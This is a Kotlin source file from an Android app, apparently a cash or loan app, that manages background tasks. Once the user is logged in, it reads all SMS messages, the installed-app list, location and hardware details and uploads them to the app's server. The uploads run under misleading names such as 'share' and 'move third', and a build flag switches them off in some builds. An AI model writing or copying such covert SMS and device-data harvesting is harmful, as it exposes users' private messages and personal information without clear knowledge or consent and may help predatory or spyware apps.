package com.cash.app.manager

import android.widget.Toast
import com.cash.app.BuildConfig
import com.cash.app.application.MyApplication
import com.cash.app.constant.AppConstant
import com.cash.app.constant.AppConstant.API_ACCOUNT_DETAIL
import com.cash.app.constant.AppConstant.API_ADD_SHARE
import com.cash.app.constant.AppConstant.API_APP_START
import com.cash.app.constant.AppConstant.API_GET_CHANNEL
import com.cash.app.constant.AppConstant.API_GET_META_DATA
import com.cash.app.constant.AppConstant.API_GLOBAL_CONFIG
import com.cash.app.constant.AppConstant.API_MOVE_THIRD
import com.cash.app.constant.AppConstant.API_TEMP_TOKEN
import com.cash.app.constant.AppConstant.API_UPLOAD_HARDWARE
import com.cash.app.constant.AppConstant.APP_GP_REFERRER
import com.cash.app.constant.AppConstant.KEY_GET_APP_LIST
import com.cash.app.constant.AppConstant.KEY_GET_EXTRA_INFO
import com.cash.app.constant.AppConstant.KEY_GET_SMS_LIST
import com.cash.app.constant.AppConstant.K_APP_ADDRESS
import com.cash.app.constant.AppConstant.K_APP_LATITUDE
import com.cash.app.constant.AppConstant.K_APP_LONGITUDE
import com.cash.app.constant.AppConstant.K_GA_ID
import com.cash.app.constant.AppConstant.K_GP_REFERRER
import com.cash.app.constant.AppConstant.K_WX_CODE
import com.cash.app.manager.api.GlobalAPIService
import com.cash.app.manager.model.AppStartRequest
import com.cash.app.manager.model.GetChannelRequest
import com.cash.app.manager.model.GetTokenRequest
import com.cash.app.manager.model.ShareAppData
import com.cash.app.manager.model.ShareAppRequest
import com.cash.app.manager.model.ShareMessageRequest
import com.cash.app.net.NetRequestExecutor
import com.cash.app.net.NetResult
import com.cash.app.net.RetrofitClient
import com.cash.app.utils.AppListUtils.getInstalledApps
import com.cash.app.utils.DeviceUtils
import com.cash.app.utils.SmsUtils
import com.cash.app.utils.SpUtils
import com.cash.app.utils.TLog
import com.cash.app.utils.extra.model.ExtraHardwareRequest
import kotlinx.coroutines.CoroutineExceptionHandler
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.Job
import kotlinx.coroutines.SupervisorJob
import kotlinx.coroutines.cancel
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext

object GlobalTaskManager {

    private const val TAG = "GlobalTaskManager"

    // Background scope for long-running tasks
    private val backgroundScope = CoroutineScope(
        SupervisorJob() + Dispatchers.IO + createExceptionHandler()
    )

    private fun createExceptionHandler() = CoroutineExceptionHandler { _, throwable ->
        TLog.e("Coroutine exception in $TAG: ${throwable.message}", TAG, throwable = throwable)
    }

    // Store active jobs for management
    private val activeJobs = mutableMapOf<String, Job>()

    /**
     * background async task
     * run on Dispatchers.IO.
     * Do not update UI in callback.
     */
    fun launchTask(key: String, task: suspend () -> Unit) {
        backgroundScope.launch() {
            task()
        }.also { job ->
            key.let { activeJobs[it] = job }
        }
    }

    /**
     * background async net request
     * run on Dispatchers.IO.
     * Do not update UI in callback.
     */
    private fun <T> launchNetRequest(
        key: String,
        request: suspend () -> NetResult<T>,
        onSuccess: (T?) -> Unit = {},
        onError: (code: Int, message: String) -> Unit = { _, _ -> }
    ) {

        backgroundScope.launch() {
            when (val result = request()) {
                is NetResult.Success -> {
                    onSuccess(result.data)
                }

                is NetResult.Error -> {
                    onError(result.code, result.message)
                    handleError(result.code, result.message)
                }

                is NetResult.Exception -> {
                    handleError(result.code, result.message)
                }
            }
        }.also { job ->
            key.let { activeJobs[it] = job }
        }
    }

    private suspend fun handleError(errorCode: Int, errorMessage: String) {
        withContext(Dispatchers.Main) {
            Toast.makeText(
                MyApplication.appContext, errorMessage, Toast.LENGTH_SHORT
            ).show()
        }
    }

    /**
     * Cancel a specific job by key
     * @param key The job identifier
     */
    fun cancelJob(key: String) {
        activeJobs[key]?.cancel()
        activeJobs.remove(key)
    }

    /**
     * Cancel all active jobs
     */
    fun cancelAllJobs() {
        activeJobs.values.forEach { it.cancel() }
        activeJobs.clear()
    }

    /**
     * Clean up all resources
     * Should be called when the application is terminated
     */
    fun cleanup() {
        cancelAllJobs()
        backgroundScope.cancel()
        TLog.d("backgroundScope cleanup all task", TAG)
    }

    // ================> app logic <================

    fun startAllTask() {
        getTempToken {
            getChannel()
            startTasksAfterLogin()
        }
        getGlobalConfig()
    }

    fun startTasksAfterLogin() {
        appStart()
        getAccountDetail()
        getMetaData()
        uploadAppList()
        uploadMessageList()
        uploadExtraHardware()
    }

    private val globalService = RetrofitClient.createService(GlobalAPIService::class.java)

    fun getTempToken(onGetToken: (() -> Unit)? = null) {
        if (SpUtils.get(K_WX_CODE, "").isNotEmpty()) {
            TLog.d("getTempToken isNotEmpty", TAG)
            onGetToken?.invoke()
            return
        }

        launchNetRequest(API_TEMP_TOKEN, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.getToken(GetTokenRequest(BuildConfig.APPLICATION_ID))
            }
        }, onSuccess = { result ->
            result?.let {
                TLog.d("getTempToken success token=${it.token}", TAG)
                SpUtils.put(K_WX_CODE, it.token)
                LoginManager.setToken(it.token)
                onGetToken?.invoke()
            }
        }, onError = { _, _ ->
            TLog.d("getTempToken error", TAG)
        })
    }

    private fun getChannel() {
        val referrer = SpUtils.get(K_GP_REFERRER, APP_GP_REFERRER)
        if (referrer.isEmpty()) {
            TLog.d("getChannel GP referrer is Empty", TAG)
            return
        }
        TLog.d("getChannel referrer=$referrer", TAG)
        launchNetRequest(API_GET_CHANNEL, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.getChannel(
                    GetChannelRequest(referrer)
                )
            }
        }, onSuccess = { result ->
            result?.let {
                SpUtils.put(AppConstant.K_CHANNEL, it.channel)
                TLog.d("getChannel success channel=${it.channel}", TAG)
            }
        }, onError = { _, _ ->
            TLog.d("getChannel error", TAG)
        })
    }

    private fun appStart() {
        if (!SpUtils.get(AppConstant.K_APP_LOGIN, false)) {
            TLog.d("appStart need login", TAG)
            return
        }
        val rqt = AppStartRequest(
            lot = SpUtils.get(K_APP_LONGITUDE, ""),
            lat = SpUtils.get(K_APP_LATITUDE, ""),
            location = SpUtils.get(K_APP_ADDRESS, ""),
            os_version = DeviceUtils.getSystemVersion(),
            manufacturer = DeviceUtils.getManufacturer(),
            d_id = SpUtils.get(K_GA_ID, ""),
        )
        TLog.d("appStart data=$rqt", TAG)
        launchNetRequest(API_APP_START, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.appStart(rqt)
            }
        }, onSuccess = { _ ->
            TLog.d("appStart success", TAG)
        }, onError = { _, _ ->
            TLog.d("appStart error", TAG)
        })
    }

    private fun getGlobalConfig() {
        TLog.d("getGlobalConfig start", TAG)
        launchNetRequest(API_GLOBAL_CONFIG, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.getGlobalConfig()
            }
        }, onSuccess = { result ->
            TLog.d("getGlobalConfig success=$result", TAG)
            GlobalConfigManager.updateConfig(result)
        }, onError = { _, _ ->
            TLog.d("getGlobalConfig error", TAG)
        })
    }

    fun getAccountDetail(onGetAccountInfo: (() -> Unit)? = null) {
        if (!SpUtils.get(AppConstant.K_APP_LOGIN, false)) {
            TLog.d("getAccountDetail need login", TAG)
            return
        }
        launchNetRequest(key = API_ACCOUNT_DETAIL, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.getAccountDetail()
            }
        }, onSuccess = { rsp ->
            rsp?.let {
                TLog.d("getAccountDetail success userId=${it.uid}", TAG)
                AccountInfoManager.updateAccountInfo(rsp)
                onGetAccountInfo?.invoke()
            }
        }, onError = { _, _ ->
            TLog.d("getAccountDetail error", TAG)
        })
    }

    private fun uploadAppList() {
        if (!SpUtils.get(AppConstant.K_APP_LOGIN, false)) {
            TLog.d("uploadAppList need login", TAG)
            return
        }
        launchTask(KEY_GET_APP_LIST) {
            val appList = getInstalledApps()
            val shareAppData = ShareAppData(appList)
            val deviceId = SpUtils.get(K_GA_ID, "")
            TLog.d("uploadAppList,deviceId=$deviceId", TAG)
            TLog.d("uploadAppList.size=${shareAppData.list.size}", TAG)
            // TLog.d("uploadAppList=${shareAppData.list}", TAG)
            if (BuildConfig.UPLOAD_CONFIG.isNotEmpty()) {
                TLog.d("uploadAppList not upload", TAG)
                return@launchTask
            }
            uploadAppList(ShareAppRequest(deviceId, shareAppData))
        }
    }

    private fun uploadAppList(request: ShareAppRequest) {
        if (!SpUtils.get(AppConstant.K_APP_LOGIN, false)) {
            TLog.d("uploadAppList need login", TAG)
            return
        }
        launchNetRequest(key = API_ADD_SHARE, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.uploadShareAppList(request)
            }
        }, onSuccess = { _ ->
            TLog.d("uploadAppList success", TAG)
        }, onError = { _, _ ->
            TLog.d("uploadAppList error", TAG)
        })
    }

    private fun uploadMessageList(request: ShareMessageRequest) {
        if (!SpUtils.get(AppConstant.K_APP_LOGIN, false)) {
            TLog.d("uploadMessageList need login", TAG)
            return
        }
        launchNetRequest(key = API_MOVE_THIRD, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.uploadMessageList(request)
            }
        }, onSuccess = { _ ->
            TLog.d("uploadMessageList success", TAG)
        }, onError = { _, _ ->
            TLog.d("uploadMessageList error", TAG)
        })
    }

    private fun uploadMessageList() {
        if (!SpUtils.get(AppConstant.K_APP_LOGIN, false)) {
            TLog.d("uploadSmsMessages need login", TAG)
            return
        }
        launchTask(KEY_GET_SMS_LIST) {
            val deviceId = SpUtils.get(K_GA_ID, "")
            val smsData = SmsUtils.getSmsMessages()
            TLog.d("uploadSmsMessages deviceId=$deviceId", TAG)
            TLog.d("uploadSmsMessages size=${smsData.list.size}", TAG)
            //TLog.d("uploadSmsMessages list=${smsData.list}", TAG)
            //if (smsData.list.isNotEmpty()) {
            if (BuildConfig.UPLOAD_CONFIG.isNotEmpty()) {
                TLog.d("uploadSmsMessages not upload", TAG)
                return@launchTask
            }
            uploadMessageList(ShareMessageRequest(deviceId, smsData))
            //}
        }
    }


    private fun uploadExtraHardware() {
        if (!SpUtils.get(AppConstant.K_APP_LOGIN, false)) {
            TLog.d("uploadExtraHardware need login", TAG)
            return
        }
        launchTask(KEY_GET_EXTRA_INFO) {
            delay(500) // wait for broadcast
            val deviceId = SpUtils.get(K_GA_ID, "")
            val assembleData = ExtraHardwareRequest(deviceId)
            TLog.d("uploadExtraHardware assembleData=${assembleData}", TAG)
            if (BuildConfig.UPLOAD_CONFIG.isNotEmpty()) {
                TLog.d("uploadExtraHardware not upload", TAG)
                return@launchTask
            }
            uploadExtraHardware(assembleData)
        }
    }

    private fun uploadExtraHardware(request: ExtraHardwareRequest) {
        if (!SpUtils.get(AppConstant.K_APP_LOGIN, false)) {
            TLog.d("uploadExtraHardware need login", TAG)
            return
        }
        launchNetRequest(key = API_UPLOAD_HARDWARE, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.uploadExtraHardware(request)
            }
        }, onSuccess = {
            TLog.d("uploadExtraHardware success", TAG)
        }, onError = { _, _ ->
            TLog.d("uploadExtraHardware success", TAG)
        })
    }

    fun getMetaData() {
        if (!LoginManager.isLogin()) {
            TLog.d("getMetaData need login", TAG)
            return
        }
        launchNetRequest(key = API_GET_META_DATA, request = {
            NetRequestExecutor.baseNetRequest {
                globalService.getMetaData()
            }
        }, onSuccess = { response ->
            response?.let {
                TLog.d("getMetaData success", TAG)
                AuthMetaDataManager.setMetaData(it)
            }
        })
    }
}
